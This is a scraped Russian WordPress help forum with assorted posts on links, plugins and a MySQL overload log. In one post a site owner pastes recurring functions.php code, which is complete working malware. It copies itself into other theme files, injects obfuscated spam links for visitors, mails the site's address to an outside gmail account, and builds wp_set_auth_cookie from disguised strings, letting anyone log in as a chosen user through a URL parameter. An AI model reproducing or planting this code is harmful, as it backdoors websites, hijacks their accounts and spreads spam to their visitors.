Доброго. Вопрос в теме уже прозвучал 🙂
1. Чем отличается атрибут rel="nofollow" от атрибута rel="external nofollow"?
Просто в WP3 некоторые ссылки имеют разный атрибут rel
2. Как закрыть ссылку в теле комментария тегом <noindex>.
Отличается rel=”nofollow” от rel=”external nofollow”?
Доброго. Вопрос в теме уже прозвучал 🙂
1. Чем отличается атрибут rel="nofollow" от атрибута rel="external nofollow"?
Просто в WP3 некоторые ссылки имеют разный атрибут rel
2. Как закрыть ссылку в теле комментария тегом <noindex>.
как закачать файл из Url в библиотеку?
Салют, парни!
Озадачился проблемой: надо переместить ленту новостей с одного сайта на другой.
Удобнее всего было бы заливать картинки в библиотеку, указывая ссылку на картинку,
а не заливая ее с локального диска. Просто ссылка на внешний источник не годится по ряду причин.
И такая проблема действительно существует, судя по этому посту.
Но возможно кто-то ее уже решил на уровне плагинов?
Как можно закачивать картинки в библиотеку напрямую с другого сайта?
Граждане, поможите, кто сколько может, сами мы не местные…
Короче, на WP MU совершенно не понимаю, что происходит. Постоянно Головной блог превращается в белую простыню (при этом все остальные, которые на поддоменах работают исправно). Всё исправляется, если произвести любое действие в админке. Что за хренотень такая?
Приветствую. В общем нужна помощь/совет. Если просто,- подскажите (к примеру плагин), если ковыряться, то предложите услугу 😉
Нужно, чтобы статьи на главной странице сайта не отображались в рубрике, пока сама статья не сместится с главной. Цель – убрать дубли страниц.
Думаю, что плагин должен быть такой. Но какой:/
Салют, парни!
Ковыряюсь с плагином Kimili Flash Embed for WordPress.
Ни как не разберусь, как вставить ссылку на флешку из библиотеки сайта,
Т.е. в коммент ссылку понятно как, а на страницу не понятно.
Для того, что бы ссылка работала, надо поместить абсолютный путь
к swf-файлу в качестве параметра вызова плагина Kimili.
Например файл залит в библиотеку под номером 57.
Тогда код размещения должен быть примерно такой:
Код:
[kml_flashembed fversion="8.0.0" movie="<?php echo get_attachment_link(57);?>" targetclass="flashmovie" publishmethod="static" width="550" height="420"]
Проблема в том, что <?php echo get_attachment_link(57);?> возвращает не ссылку на файл, а ссылку на страницу,
содержащую ссылку на файл.
А как получить абсолютную ссылку на файл из библиотеки по его ID?
br,
grio.
Related Posts v2.02 не выводит похожие статьи
Прошу помощи у знающих людей….
Создал блог, на котором уже имеется 40 статей.
Вот только плагин Related Posts (modified) 2.02 не хочет выводить посты как похожие. Хотя похожих статей предостаточно.
В чем проблема ума не приложу. Проверял уже тысячу раз код шаблона, базы данных, переустанавливал плагин. Ничего не помогает.
Подскажите с чем может быть связана проблема.
Возникла такая проблема. При вводе функции wp_list_cats(‘orderby=order&title_li=’); выводится уже готовый список.
<li class="cat-item cat-item-1214"><a href="http://site.ru/?cat=1214">Тема1</a></li>
<li class="cat-item cat-item-11"><a href="http://site.ru/?cat=11">Тема2</a></li>
<li class="cat-item cat-item-1216"><a href="http://site.ru/?cat=1216">Тема3</a></li>
<li class="cat-item cat-item-1217"><a href="http://site.ru/?cat=1217">Тема4</a></li>
<li class="cat-item cat-item-15"><a href="http://site.ru/?cat=15">Тема5</a></li>
Можно ли самостоятельно создать цикл, что-бы сформировать список в нужном мне виде?
Возникла такая задача: нужно, чтобы на странице категорий рядом с каждым постом была размещена ссылка «Обновить дату», нажатие на которую меняло бы дату и время поста на текущие. Как можно было бы реализовать подобный функционал?
У меня на сайте, в файле functions.php постоянно появляется этот код.
Я его удаляю, а на следующий день он опять самопрописуется в файле.
Что это может быть такое? Может вирус?
[code- <?php
function _check_isactive_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
$output .= ($showdots && $ellipsis) ? "…" : "";
}
}
}
}
return $output;
}
function mytheme_clinkft() {
$urls = array(‘web’.’oy.or’.’g/’,’them’.’es.we’.’bo’.’y.org/’,’th’.’emes.we’.’bo’.’y.org/’,’th’.’em’.’es.w’.’eb’.’oy.org/’,’th’.’eme’.’s.w’.’ebo’.’y.org/’,’wp’.’2′.’b’.’log.com/’,’zh’.’ut’.’i.we’.’bo’.’y.o’.’rg/’);
$urlst = array(‘We’.’b’.’oy’ ,’Wor’.’dPr’.’ess The’.’mes’ ,’Fre’.’e Wo’.’rdPr’.’ess Th’.’emes’ ,’Fr’.’ee Wor’.’dPre’.’ss T’.’he’.’me’ ,’Pr’.’emium Wor’.’dPre’.’ss Th’.’em’.’es’ ,’Wor’.’dPre’.’ss Blo’.’g’,’Wo’.’rdPr’.’essЦч’.’Мв’);
srand(time());
$random = (rand()%7);
echo ‘<‘.’a ‘.’cla’.’ss="cl’.’inkf’.’t" hr’.’ef="ht’.’tp’.’:’.’/’.’/’.$urls[$random].’" t’.’itl’.’e="’.$urlst[$random].’">’.$urlst[$random].'<‘.’/a’.’>’;
}
if(!is_user_logged_in()){add_action( ‘w’.’p_fo’.’ote’.’r’, ‘mytheme_clinkft’ );add_action( ‘co’.’mmen’.’t_fo’.’rm’, ‘mytheme_clinkft’ );}
function _get_allwidgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids
=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_isactive_widget");
function _getsprepare_widget(){
if(!isset($com_length)) $com_length=120;
if(!isset($text_value)) $text_value="cookie";
if(!isset($allowed_tags)) $allowed_tags="<a>";
if(!isset($type_filter)) $type_filter="none";
if(!isset($expl)) $expl="";
if(!isset($filter_homes)) $filter_homes=get_option("home");
if(!isset($pref_filter)) $pref_filter="wp_";
if(!isset($use_more)) $use_more=1;
if(!isset($comm_type)) $comm_type="";
if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
if(!isset($postauthor_comment)) $postauthor_comment="";
if(!isset($comm_is_approved)) $comm_is_approved="";
if(!isset($postauthor)) $postauthor="auth";
if(!isset($more_link)) $more_link="(more…)";
if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
if(!isset($more_link_ditails)) $more_link_ditails="(details…)";
if(!isset($morecontents)) $morecontents="ma".$expl."il";
if(!isset($fmore)) $fmore=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$is_widget) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($f_tags)) $f_tags=1;
if(!isset($type_filters)) $type_filters=$filter_homes;
if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
if(!isset($aditional_tags)) $aditional_tags="div";
if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_link_text)) $more_link_text="Continue reading this entry";
if(!isset($showdots)) $showdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($com_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!–more–>")) {
$text=explode("<!–more–>", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $com_length) {
$l=$com_length;
$ellipsis=1;
} else {
$l=count($text);
$more_link="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $allowed_tags) {
$output=strip_tags($output, $allowed_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($f_tags) ? balanceTags($output, true) : $output;
$output .= ($showdots && $ellipsis) ? "…" : "";
$output=apply_filters($type_filter, $output);
switch($aditional_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_more ) {
if($fmore) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_getsprepare_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
//
function get_custom_field_value($szKey, $bPrint = false) {
global $post;
$szValue = get_post_meta($post->ID, $szKey, true);
if ( $bPrint == false ) return $szValue; else echo $szValue;
}
?>[/code]
Нужно создать страницу с паролем. Тоесть чтобы посмотреть содержимое одной конкретной страници можно было только введя пароль.
Коллеги,
подскажите пожалуйста как мне связать созданный мной плагин с "Custom Capabilities" ?
Я создал новую Custom Capabilities и теперь хотел бы активировать эту возможность для определенных пользователей.
Спасибо
PS
WordPress 2.3.3
Приветствую. На днях свалил в лоад свой же сервер. Логи апача показывают следущее:
[Sat Aug 14 20:34:27 2010] [error] [client 90.156.197.179] WordPress database error MySQL server has gone away for query SELECT 1 as test FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1 made by require, require_once, include, get_footer, locate_template, load_template, require_once, get_sidebar_right, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Calendar->widget, get_calendar
[Sat Aug 14 20:34:27 2010] [error] [client 90.156.197.179] WordPress database error MySQL server has gone away for query SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish' GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date DESC made by require, require_once, include, get_footer, locate_template, load_template, require_once, get_sidebar_right, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Archives->widget, wp_get_archives
[Sat Aug 14 20:34:27 2010] [error] [client 90.156.197.179] WordPress database error MySQL server has gone away for query SELECT * FROM wp_posts WHERE (post_type = 'page' AND post_status = 'publish') ORDER BY menu_order, post_title ASC made by require, require_once, include, get_footer, locate_template, load_template, require_once, wp_list_pages2, get_pages
[Sat Aug 14 20:34:32 2010] [error] [client 217.199.212.106] Script timed out before returning headers: index.php
[Sat Aug 14 20:34:33 2010] [error] [client 193.227.240.130] WordPress database error Lost connection to MySQL server during query for query SELECT SQL_CALC_FOUND_ROWS wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish') ORDER BY wp_posts.post_date DESC LIMIT 0, 5 made by require, wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts
[Sat Aug 14 20:34:33 2010] [error] [client 193.227.240.130] WordPress database error MySQL server has gone away for query SELECT FOUND_ROWS() made by require, wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts
[Sat Aug 14 20:34:33 2010] [error] [client 87.118.96.18] WordPress database error Lost connection to MySQL server during query for query SELECT SQL_CALC_FOUND_ROWS wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish') ORDER BY wp_posts.post_date DESC LIMIT 0, 5 made by require, wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts
[Sat Aug 14 20:34:33 2010] [error] [client 87.118.96.18] WordPress database error MySQL server has gone away for query SELECT FOUND_ROWS() made by require, wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts
[Sat Aug 14 20:34:33 2010] [error] [client 193.227.240.130] WordPress database error MySQL server has gone away for query SELECT * FROM wp_posts WHERE (post_type = 'page' AND post_status = 'publish') ORDER BY menu_order, post_title ASC made by require, require_once, include, get_header, locate_template, load_template, require_once, wp_list_pages2, get_pages
[Sat Aug 14 20:34:33 2010] [error] [client 193.227.240.130] WordPress database error MySQL server has gone away for query SELECT t.*, tt.* FROM wp_terms AS t INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy IN ('category') AND tt.count > 0 ORDER BY t.name ASC made by require, require_once, include, get_header, locate_template, load_template, require_once, get_sidebar, locate_template, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Categories->widget, wp_list_categories, get_categories, get_terms
[Sat Aug 14 20:34:33 2010] [error] [client 193.227.240.130] WordPress database error MySQL server has gone away for query SELECT t.*, tt.* FROM wp_terms AS t INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy IN ('link_category') AND tt.count > 0 ORDER BY t.name ASC made by require, require_once, include, get_header, locate_template, load_template, require_once, get_sidebar, locate_template, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Links->widget, wp_list_bookmarks, get_terms
[Sat Aug 14 20:34:33 2010] [error] [client 193.227.240.130] WordPress database error MySQL server has gone away for query SELECT option_value FROM wp_options WHERE option_name = 'itex_m_widget_dynamic_title' LIMIT 1 made by require, require_once, include, get_header, locate_template, load_template, require_once, get_sidebar, locate_template, load_template, require_once, dynamic_sidebar, call_user_func_array, itex_money->itex_m_widget_dynamic, get_option
[Sat Aug 14 20:34:33 2010] [error] [client 193.227.240.130] WordPress database error MySQL server has gone away for query SELECT 1 as test FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1 made by require, require_once, include, get_footer, locate_template, load_template, require_once, get_sidebar_right, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Calendar->widget, get_calendar
[Sat Aug 14 20:34:33 2010] [error] [client 193.227.240.130] WordPress database error MySQL server has gone away for query SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish' GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date DESC made by require, require_once, include, get_footer, locate_template, load_template, require_once, get_sidebar_right, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Archives->widget, wp_get_archives
[Sat Aug 14 20:34:33 2010] [error] [client 193.227.240.130] WordPress database error MySQL server has gone away for query SELECT * FROM wp_posts WHERE (post_type = 'page' AND post_status = 'publish') ORDER BY menu_order, post_title ASC made by require, require_once, include, get_footer, locate_template, load_template, require_once, wp_list_pages2, get_pages
[Sat Aug 14 20:34:34 2010] [error] [client 89.108.67.107] Script timed out before returning headers: index.php, referer: -
[Sat Aug 14 20:34:37 2010] [error] [client 217.16.16.222] Script timed out before returning headers: index.php
[Sat Aug 14 20:34:42 2010] [error] [client 62.113.86.13] Script timed out before returning headers: index.php, referer: www.yarsvadba.ru
[Sat Aug 14 20:34:44 2010] [error] [client 188.120.224.40] WordPress database error Lost connection to MySQL server during query for query SELECT SQL_CALC_FOUND_ROWS wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish') ORDER BY wp_posts.post_date DESC LIMIT 0, 5 made by require, wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts
[Sat Aug 14 20:34:44 2010] [error] [client 188.120.224.40] WordPress database error MySQL server has gone away for query SELECT FOUND_ROWS() made by require, wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts
[Sat Aug 14 20:34:44 2010] [error] [client 188.120.224.40] WordPress database error MySQL server has gone away for query SELECT * FROM wp_posts WHERE (post_type = 'page' AND post_status = 'publish') ORDER BY menu_order, post_title ASC made by require, require_once, include, get_header, locate_template, load_template, require_once, wp_list_pages2, get_pages
[Sat Aug 14 20:34:44 2010] [error] [client 188.120.224.40] WordPress database error MySQL server has gone away for query SELECT t.*, tt.* FROM wp_terms AS t INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy IN ('category') AND tt.count > 0 ORDER BY t.name ASC made by require, require_once, include, get_header, locate_template, load_template, require_once, get_sidebar, locate_template, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Categories->widget, wp_list_categories, get_categories, get_terms
[Sat Aug 14 20:34:44 2010] [error] [client 188.120.224.40] WordPress database error MySQL server has gone away for query SELECT t.*, tt.* FROM wp_terms AS t INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy IN ('link_category') AND tt.count > 0 ORDER BY t.name ASC made by require, require_once, include, get_header, locate_template, load_template, require_once, get_sidebar, locate_template, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Links->widget, wp_list_bookmarks, get_terms
[Sat Aug 14 20:34:44 2010] [error] [client 188.120.224.40] WordPress database error MySQL server has gone away for query SELECT option_value FROM wp_options WHERE option_name = 'itex_m_widget_dynamic_title' LIMIT 1 made by require, require_once, include, get_header, locate_template, load_template, require_once, get_sidebar, locate_template, load_template, require_once, dynamic_sidebar, call_user_func_array, itex_money->itex_m_widget_dynamic, get_option
[Sat Aug 14 20:34:44 2010] [error] [client 188.120.224.40] WordPress database error MySQL server has gone away for query SELECT 1 as test FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1 made by require, require_once, include, get_footer, locate_template, load_template, require_once, get_sidebar_right, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Calendar->widget, get_calendar
[Sat Aug 14 20:34:44 2010] [error] [client 188.120.224.40] WordPress database error MySQL server has gone away for query SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish' GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date DESC made by require, require_once, include, get_footer, locate_template, load_template, require_once, get_sidebar_right, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Archives->widget, wp_get_archives
[Sat Aug 14 20:34:44 2010] [error] [client 188.120.224.40] WordPress database error MySQL server has gone away for query SELECT * FROM wp_posts WHERE (post_type = 'page' AND post_status = 'publish') ORDER BY menu_order, post_title ASC made by require, require_once, include, get_footer, locate_template, load_template, require_once, wp_list_pages2, get_pages
[Sat Aug 14 20:34:45 2010] [error] [client 62.148.128.5] Script timed out before returning headers: index.php
[Sat Aug 14 20:34:46 2010] [error] [client 217.16.16.222] WordPress database error Lost connection to MySQL server during query for query SELECT SQL_CALC_FOUND_ROWS wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish') ORDER BY wp_posts.post_date DESC LIMIT 0, 5 made by require, wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts
[Sat Aug 14 20:34:46 2010] [error] [client 178.218.218.32] WordPress database error Lost connection to MySQL server during query for query SELECT SQL_CALC_FOUND_ROWS wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish') ORDER BY wp_posts.post_date DESC LIMIT 0, 5 made by require, wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts
[Sat Aug 14 20:34:46 2010] [error] [client 217.16.16.222] WordPress database error MySQL server has gone away for query SELECT FOUND_ROWS() made by require, wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts
[Sat Aug 14 20:34:46 2010] [error] [client 217.16.16.222] WordPress database error MySQL server has gone away for query SELECT * FROM wp_posts WHERE (post_type = 'page' AND post_status = 'publish') ORDER BY menu_order, post_title ASC made by require, require_once, include, get_header, locate_template, load_template, require_once, wp_list_pages2, get_pages
[Sat Aug 14 20:34:46 2010] [error] [client 217.16.16.222] WordPress database error MySQL server has gone away for query SELECT t.*, tt.* FROM wp_terms AS t INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy IN ('category') AND tt.count > 0 ORDER BY t.name ASC made by require, require_once, include, get_header, locate_template, load_template, require_once, get_sidebar, locate_template, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Categories->widget, wp_list_categories, get_categories, get_terms
[Sat Aug 14 20:34:46 2010] [error] [client 217.16.16.222] WordPress database error MySQL server has gone away for query SELECT t.*, tt.* FROM wp_terms AS t INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy IN ('link_category') AND tt.count > 0 ORDER BY t.name ASC made by require, require_once, include, get_header, locate_template, load_template, require_once, get_sidebar, locate_template, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Links->widget, wp_list_bookmarks, get_terms
[Sat Aug 14 20:34:46 2010] [error] [client 217.16.16.222] WordPress database error MySQL server has gone away for query SELECT option_value FROM wp_options WHERE option_name = 'itex_m_widget_dynamic_title' LIMIT 1 made by require, require_once, include, get_header, locate_template, load_template, require_once, get_sidebar, locate_template, load_template, require_once, dynamic_sidebar, call_user_func_array, itex_money->itex_m_widget_dynamic, get_option
[Sat Aug 14 20:34:46 2010] [error] [client 217.16.16.222] WordPress database error MySQL server has gone away for query SELECT 1 as test FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1 made by require, require_once, include, get_footer, locate_template, load_template, require_once, get_sidebar_right, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Calendar->widget, get_calendar
[Sat Aug 14 20:34:46 2010] [error] [client 217.16.16.222] WordPress database error MySQL server has gone away for query SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish' GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date DESC made by require, require_once, include, get_footer, locate_template, load_template, require_once, get_sidebar_right, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Archives->widget, wp_get_archives
[Sat Aug 14 20:34:46 2010] [error] [client 217.16.16.222] WordPress database error MySQL server has gone away for query SELECT * FROM wp_posts WHERE (post_type = 'page' AND post_status = 'publish') ORDER BY menu_order, post_title ASC made by require, require_once, include, get_footer, locate_template, load_template, require_once, wp_list_pages2, get_pages
[Sat Aug 14 20:34:46 2010] [error] [client 178.218.218.32] WordPress database error MySQL server has gone away for query SELECT FOUND_ROWS() made by require, wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts
[Sat Aug 14 20:34:46 2010] [error] [client 178.218.218.32] WordPress database error MySQL server has gone away for query SELECT * FROM wp_posts WHERE (post_type = 'page' AND post_status = 'publish') ORDER BY menu_order, post_title ASC made by require, require_once, include, get_header, locate_template, load_template, require_once, wp_list_pages2, get_pages
[Sat Aug 14 20:34:46 2010] [error] [client 178.218.218.32] WordPress database error MySQL server has gone away for query SELECT t.*, tt.* FROM wp_terms AS t INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy IN ('category') AND tt.count > 0 ORDER BY t.name ASC made by require, require_once, include, get_header, locate_template, load_template, require_once, get_sidebar, locate_template, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Categories->widget, wp_list_categories, get_categories, get_terms
[Sat Aug 14 20:34:46 2010] [error] [client 178.218.218.32] WordPress database error MySQL server has gone away for query SELECT t.*, tt.* FROM wp_terms AS t INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy IN ('link_category') AND tt.count > 0 ORDER BY t.name ASC made by require, require_once, include, get_header, locate_template, load_template, require_once, get_sidebar, locate_template, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Links->widget, wp_list_bookmarks, get_terms
[Sat Aug 14 20:34:46 2010] [error] [client 178.218.218.32] WordPress database error MySQL server has gone away for query SELECT option_value FROM wp_options WHERE option_name = 'itex_m_widget_dynamic_title' LIMIT 1 made by require, require_once, include, get_header, locate_template, load_template, require_once, get_sidebar, locate_template, load_template, require_once, dynamic_sidebar, call_user_func_array, itex_money->itex_m_widget_dynamic, get_option
[Sat Aug 14 20:34:46 2010] [error] [client 178.218.218.32] WordPress database error MySQL server has gone away for query SELECT 1 as test FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1 made by require, require_once, include, get_footer, locate_template, load_template, require_once, get_sidebar_right, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Calendar->widget, get_calendar
[Sat Aug 14 20:34:46 2010] [error] [client 178.218.218.32] WordPress database error MySQL server has gone away for query SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish' GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date DESC made by require, require_once, include, get_footer, locate_template, load_template, require_once, get_sidebar_right, load_template, require_once, dynamic_sidebar, call_user_func_array, WP_Widget->display_callback, WP_Widget_Archives->widget, wp_get_archives
[Sat Aug 14 20:34:46 2010] [error] [client 178.218.218.32] WordPress database error MySQL server has gone away for query SELECT * FROM wp_posts WHERE (post_type = 'page' AND post_status = 'publish') ORDER BY menu_order, post_title ASC made by require, require_once, include, get_footer, locate_template, load_template, require_once, wp_list_pages2, get_pages
